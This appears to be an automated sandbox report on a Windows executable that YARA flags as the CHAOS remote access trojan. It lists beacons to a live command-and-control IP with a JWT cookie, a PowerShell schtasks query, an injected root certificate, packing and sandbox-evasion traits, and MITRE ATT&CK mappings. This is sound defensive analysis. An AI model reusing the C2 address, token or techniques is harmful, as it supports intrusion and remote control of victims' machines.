        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: pointcross.dat.exeVirustotal: Detection: 15%
        Source: C:\Users\user\Desktop\pointcross.dat.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: C:\Users\user\Desktop\pointcross.dat.exeFile opened: C:\Windows\system32\8e267d2ab49f82698707b0b50bb4df2b04fc62eeedf5bfc47a5be8eeca6d39baAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dllJump to behavior
        Source: unknownProcess created: C:\Users\user\Desktop\pointcross.dat.exe C:\Users\user\Desktop\pointcross.dat.exe
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST"
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /query /tn Orchestrator Cache Storage /v /fo LIST
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST"Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /query /tn Orchestrator Cache Storage /v /fo LISTJump to behavior
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6680:120:WilError_03
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2baze5bb.p2q.ps1Jump to behavior
        Source: classification engineClassification label: mal72.troj.winEXE@6/4@1/2
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
        Source: pointcross.dat.exeStatic file information: File size 5921280 > 1048576
        Source: pointcross.dat.exeStatic PE information: Raw size of UPX1 is bigger than: 0x100000 < 0x5a5600
        Source: pointcross.dat.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

        Data Obfuscation

        barindex
        Suspicious powershell command line found
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST"
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST"Jump to behavior
        Source: pointcross.dat.exeStatic PE information: section name: UPX2
        Source: initial sampleStatic PE information: section name: UPX0
        Source: initial sampleStatic PE information: section name: UPX1

        Boot Survival

        barindex
        Uses schtasks.exe or at.exe to add and modify task schedules
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /query /tn Orchestrator Cache Storage /v /fo LIST
        Source: C:\Users\user\Desktop\pointcross.dat.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1353Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1646Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7004Thread sleep count: 1353 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7004Thread sleep count: 1646 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: pointcross.dat.exe, 00000000.00000002.2876999518.000001DCB8F18000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Desktop\pointcross.dat.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST"Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /query /tn Orchestrator Cache Storage /v /fo LISTJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Users\user\Desktop\pointcross.dat.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

        Stealing of Sensitive Information

        barindex
        Yara detected CHAOS RAT
        Source: Yara matchFile source: 0.2.pointcross.dat.exe.8f0000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000000.00000002.2873194373.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: pointcross.dat.exe PID: 6684, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected CHAOS RAT
        Source: Yara matchFile source: 0.2.pointcross.dat.exe.8f0000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000000.00000002.2873194373.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: pointcross.dat.exe PID: 6684, type: MEMORYSTR

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpactResource DevelopmentReconnaissance
        Valid Accounts1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		11
        Process Injection        		1
        Modify Registry        		OS Credential Dumping1
        Security Software Discovery        		Remote ServicesData from Local SystemExfiltration Over Other Network Medium1
        Encrypted Channel        		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationAbuse Accessibility FeaturesAcquire InfrastructureGather Victim Identity Information
        Default Accounts1
        PowerShell        		Boot or Logon Initialization Scripts1
        Scheduled Task/Job        		21
        Virtualization/Sandbox Evasion        		LSASS Memory1
        Process Discovery        		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
        Non-Standard Port        		SIM Card SwapObtain Device Cloud BackupsNetwork Denial of ServiceDomainsCredentials
        Domain AccountsAtLogon Script (Windows)Logon Script (Windows)11
        Process Injection        		Security Account Manager21
        Virtualization/Sandbox Evasion        		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
        Ingress Tool Transfer        		Data Encrypted for ImpactDNS ServerEmail Addresses
        Local AccountsCronLogin HookLogin Hook1
        Obfuscated Files or Information        		NTDS1
        Application Window Discovery        		Distributed Component Object ModelInput CaptureTraffic Duplication3
        Non-Application Layer Protocol        		Data DestructionVirtual Private ServerEmployee Names
        Cloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
        Software Packing        		LSA Secrets12
        System Information Discovery        		SSHKeyloggingScheduled Transfer4
        Application Layer Protocol        		Data Encrypted for ImpactServerGather Victim Network Information

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        pointcross.dat.exe5%ReversingLabs
        pointcross.dat.exe15%VirustotalBrowse

        Dropped Files

        ⊘No Antivirus matches

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthLoopback0%Avira URL Cloudsafe
        http://213.183.63.99:8080/healtha0%Avira URL Cloudsafe
        http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthhttp://213.183.63.99:8080/healthLoop0%Avira URL Cloudsafe
        http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/health0%Avira URL Cloudsafe
        http://213.183.63.99:8080/0%Avira URL Cloudsafe
        http://213.183.63.99:8080/s00%Avira URL Cloudsafe
        http://213.183.63.99:8080/client0%Avira URL Cloudsafe
        http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthLoopback1%VirustotalBrowse
        http://213.183.63.99:8080/1%VirustotalBrowse
        http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthMon0%Avira URL Cloudsafe
        http://213.183.63.99:8080/device0%Avira URL Cloudsafe
        http://213.183.63.99:8080/deviceMon0%Avira URL Cloudsafe
        http://213.183.63.99:8080/healthMon0%Avira URL Cloudsafe
        http://213.183.63.99:8080/healthLoopback0%Avira URL Cloudsafe
        http://213.183.63.99:8080/health0%Avira URL Cloudsafe
        http://213.183.63.99:8080/device1%VirustotalBrowse
        http://213.183.63.99:8080/healthMon1%VirustotalBrowse
        http://213.183.63.99:8080/deviceMon1%VirustotalBrowse
        http://213.183.63.99:8080/client1%VirustotalBrowse
        http://213.183.63.99:8080/health1%VirustotalBrowse
        http://213.183.63.99:8080/healthLoopback1%VirustotalBrowse

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        cloudflare.com
        		104.16.133.229
        		truefalse
          		high

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          https://cloudflare.com/cdn-cgi/tracefalse
            		high
            http://213.183.63.99:8080/clienttrue
            • 1%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/devicetrue
            • 1%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/healthtrue
            • 1%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthLoopbackpointcross.dat.exe, 00000000.00000002.2873977324.000000C000010000.00000004.00001000.00020000.00000000.sdmpfalse
            • 1%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthhttp://213.183.63.99:8080/healthLooppointcross.dat.exe, 00000000.00000002.2876349228.000000C00041C000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/pointcross.dat.exe, 00000000.00000002.2873977324.000000C000106000.00000004.00001000.00020000.00000000.sdmpfalse
            • 1%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/healthapointcross.dat.exe, 00000000.00000002.2873977324.000000C000010000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthpointcross.dat.exe, 00000000.00000002.2873977324.000000C000268000.00000004.00001000.00020000.00000000.sdmp, pointcross.dat.exe, 00000000.00000002.2873977324.000000C0003E4000.00000004.00001000.00020000.00000000.sdmp, pointcross.dat.exe, 00000000.00000002.2873977324.000000C00036E000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/s0pointcross.dat.exe, 00000000.00000002.2873977324.000000C000106000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthMonpointcross.dat.exe, 00000000.00000002.2873977324.000000C0003E4000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://213.183.63.99:8080/deviceMonpointcross.dat.exe, 00000000.00000002.2873977324.000000C000010000.00000004.00001000.00020000.00000000.sdmpfalse
            • 1%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://cloudflare.com/cdn-cgi/tracestrings.Builder.Grow:pointcross.dat.exe, 00000000.00000002.2873194373.00000000008F1000.00000040.00000001.01000000.00000003.sdmpfalse
              		high
              http://213.183.63.99:8080/healthMonpointcross.dat.exe, 00000000.00000002.2873977324.000000C000096000.00000004.00001000.00020000.00000000.sdmpfalse
              • 1%, Virustotal, Browse
              • Avira URL Cloud: safe
              		unknown
              http://213.183.63.99:8080/healthLoopbackpointcross.dat.exe, 00000000.00000002.2873977324.000000C00031E000.00000004.00001000.00020000.00000000.sdmpfalse
              • 1%, Virustotal, Browse
              • Avira URL Cloud: safe
              		unknown

